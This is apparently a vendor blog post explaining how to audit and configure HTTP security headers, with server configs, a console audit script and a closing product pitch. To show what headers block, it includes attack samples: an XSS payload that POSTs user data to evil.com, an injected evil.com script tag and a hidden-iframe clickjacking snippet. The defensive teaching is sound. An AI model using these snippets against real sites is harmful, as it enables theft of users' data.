Back to blog
SecurityJanuary 1, 2024· 5 min read

Security Headers Audit: Is This Website Actually Secure?

A practical Fusebox guide to security headers audit.

Security Headers Audit: Is This Website Actually Secure?

Published: January 2024
Reading time: 8 minutes

Security headers are your website's armor. They prevent XSS, clickjacking, data leaks, and more. Most sites are missing critical headers. Here's how to audit any website's security posture in seconds.

The Essential Security Headers

1. Content-Security-Policy (CSP)

What it does: Controls where resources can load from Prevents: XSS attacks, data injection

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' 'unsafe-inline' cdnjs.cloudflare.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' fonts.gstatic.com;

Real attack prevented:

<!-- Attacker tries to inject -->
<script src="https://evil.com/steal.js"></script>

<!-- CSP blocks it: script-src doesn't include evil.com -->

2. Strict-Transport-Security (HSTS)

What it does: Forces HTTPS connections Prevents: Downgrade attacks, session hijacking

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

What each part means:

  • max-age=31536000 - Remember for 1 year
  • includeSubDomains - Apply to all subdomains
  • preload - Add to browser's HSTS list

3. X-Frame-Options

What it does: Prevents iframe embedding Prevents: Clickjacking attacks

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM https://trusted.com

Attack scenario blocked:

<!-- Evil site tries to embed your site -->
<iframe src="https://yourbank.com" style="opacity:0"></iframe>
<button style="position:absolute">Click for Prize!</button>
<!-- User thinks they're clicking prize, actually clicking bank transfer -->

4. X-Content-Type-Options

What it does: Prevents MIME type sniffing Prevents: Script injection via uploads

X-Content-Type-Options: nosniff

Attack prevented:

// User uploads "image.jpg" that's actually JavaScript
// Without nosniff: Browser might execute it
// With nosniff: Treated as image only

5. Referrer-Policy

What it does: Controls referer information Prevents: Data leaks to third parties

Referrer-Policy: strict-origin-when-cross-origin

Privacy protection:

From: https://mysite.com/users/john/private-data
To: https://analytics.com
Referer sent: https://mysite.com/ (path stripped)

6. Permissions-Policy

What it does: Controls browser features Prevents: Feature abuse

Permissions-Policy: 
  camera=(),
  microphone=(),
  geolocation=(self),
  payment=(self "https://stripe.com")

Real-World Security Audits

Example 1: Major Bank Website

Headers found:

✅ Strict-Transport-Security: max-age=31536000; includeSubDomains
✅ X-Frame-Options: DENY
✅ X-Content-Type-Options: nosniff
✅ Content-Security-Policy: [comprehensive policy]
✅ Referrer-Policy: strict-origin-when-cross-origin

Security score: A+ Analysis: Properly secured, following best practices

Headers found:

✅ Strict-Transport-Security: max-age=86400
⚠️  X-Frame-Options: SAMEORIGIN
❌ Content-Security-Policy: [missing]
✅ X-Content-Type-Options: nosniff
❌ Referrer-Policy: [missing]

Security score: C Issues:

  • No CSP = XSS vulnerability
  • Short HSTS = downgrade possible
  • No referrer policy = data leaks

Example 3: Small Business Site

Headers found:

❌ Strict-Transport-Security: [missing]
❌ X-Frame-Options: [missing]
❌ Content-Security-Policy: [missing]
❌ X-Content-Type-Options: [missing]
❌ Referrer-Policy: [missing]

Security score: F Critical: Wide open to attacks!

Common Security Header Mistakes

1. Weak CSP

# Bad: Too permissive
Content-Security-Policy: default-src *;

# Good: Restrictive with specific exceptions
Content-Security-Policy: 
  default-src 'self';
  script-src 'self' 'unsafe-inline' specific-cdn.com;
  object-src 'none';

2. Short HSTS Duration

# Bad: Only 1 day
Strict-Transport-Security: max-age=86400

# Good: 1 year minimum
Strict-Transport-Security: max-age=31536000

3. Missing Subdomains

# Bad: Main domain only
Strict-Transport-Security: max-age=31536000

# Good: All subdomains protected
Strict-Transport-Security: max-age=31536000; includeSubDomains

4. Deprecated Headers

# Outdated (don't use)
X-XSS-Protection: 1; mode=block

# Modern replacement
Content-Security-Policy: script-src 'self'

Quick Security Audit Script

// Run this in console to audit current site
(function auditSecurity() {
  const headers = {
    'Strict-Transport-Security': false,
    'Content-Security-Policy': false,
    'X-Frame-Options': false,
    'X-Content-Type-Options': false,
    'Referrer-Policy': false,
    'Permissions-Policy': false
  };
  
  // Check response headers
  fetch(window.location.href).then(response => {
    for (const header of Object.keys(headers)) {
      if (response.headers.get(header)) {
        headers[header] = response.headers.get(header);
        console.log(`✅ ${header}: ${headers[header]}`);
      } else {
        console.log(`❌ ${header}: MISSING`);
      }
    }
    
    // Calculate score
    const present = Object.values(headers).filter(h => h).length;
    const score = (present / 6 * 100).toFixed(0);
    
    console.log(`\nSecurity Score: ${score}%`);
    
    if (score < 50) {
      console.warn('⚠️  Critical security headers missing!');
    }
  });
})();

Implementation Guide

1. Apache (.htaccess)

# Security headers for Apache
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Permissions-Policy "geolocation=(), microphone=(), camera=()"

2. Nginx

# Security headers for Nginx
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;

3. Express.js

// Security headers for Node.js
const helmet = require('helmet');

app.use(helmet({
  strictTransportSecurity: {
    maxAge: 31536000,
    includeSubDomains: true
  },
  frameguard: { action: 'deny' },
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "'unsafe-inline'"]
    }
  }
}));

4. Cloudflare (Easy Mode)

# Page Rules or Transform Rules
Add Header: Strict-Transport-Security = max-age=31536000
Add Header: X-Frame-Options = DENY
Add Header: X-Content-Type-Options = nosniff

CSP Deep Dive

Building a Strong CSP

# Start restrictive
Content-Security-Policy: default-src 'none';

# Add what you need
script-src 'self' 'unsafe-inline' cdnjs.cloudflare.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';

CSP Violation Reporting

Content-Security-Policy: 
  default-src 'self';
  report-uri /csp-violation-report;
  report-to csp-endpoint;

Violation report example:

{
  "csp-report": {
    "blocked-uri": "https://evil.com/malware.js",
    "disposition": "enforce",
    "document-uri": "https://example.com/page",
    "violated-directive": "script-src 'self'"
  }
}

Security Impact Examples

XSS Prevention

// Without CSP: This executes
<script>
  fetch('/api/user')
    .then(r => r.json())
    .then(data => {
      fetch('https://evil.com/steal', {
        method: 'POST',
        body: JSON.stringify(data)
      });
    });
</script>

// With CSP: Blocked - evil.com not in connect-src

Clickjacking Prevention

<!-- Without X-Frame-Options -->
<iframe src="https://yourbank.com/transfer" 
        style="opacity:0.01; position:absolute; width:100%; height:100%">
</iframe>

<!-- With X-Frame-Options: DENY -->
<!-- Browser refuses to load in iframe -->

Testing Your Headers

Online Tools

  • SecurityHeaders.io - Comprehensive scan
  • Mozilla Observatory - Detailed analysis
  • Hardenize - Enterprise grade

Command Line

# Check headers with curl
curl -I https://example.com

# Check specific header
curl -I https://example.com | grep -i strict-transport

# Full security audit
nmap --script http-security-headers example.com

Browser DevTools

  1. Open Network tab
  2. Reload page
  3. Click on main document
  4. Check Response Headers

Security Headers Checklist

Minimum Requirements

  • HTTPS everywhere
  • Strict-Transport-Security
  • X-Frame-Options or CSP frame-ancestors
  • X-Content-Type-Options
  • Basic Content-Security-Policy
  • Comprehensive CSP
  • Referrer-Policy
  • Permissions-Policy
  • HSTS Preload

Advanced

  • CSP reporting
  • Expect-CT
  • Feature-Policy
  • Report-To endpoints

Common Excuses (And Why They're Wrong)

"CSP is too complex"

Start simple: default-src 'self' then add exceptions

"It might break things"

Use report-only mode first:

Content-Security-Policy-Report-Only: default-src 'self'

"We don't need security headers"

Every site is a target. Headers are free protection.

"HTTPS is enough"

HTTPS is transport security. Headers prevent application attacks.

The Bottom Line

Security headers are:

  • Free to implement
  • Powerful protection
  • Easy to add
  • Essential for security

No excuse for missing them. Every header prevents real attacks.


Audit security headers instantly: Fusebox checks all security headers while you browse. See vulnerabilities and get fix recommendations. $29 one-time purchase.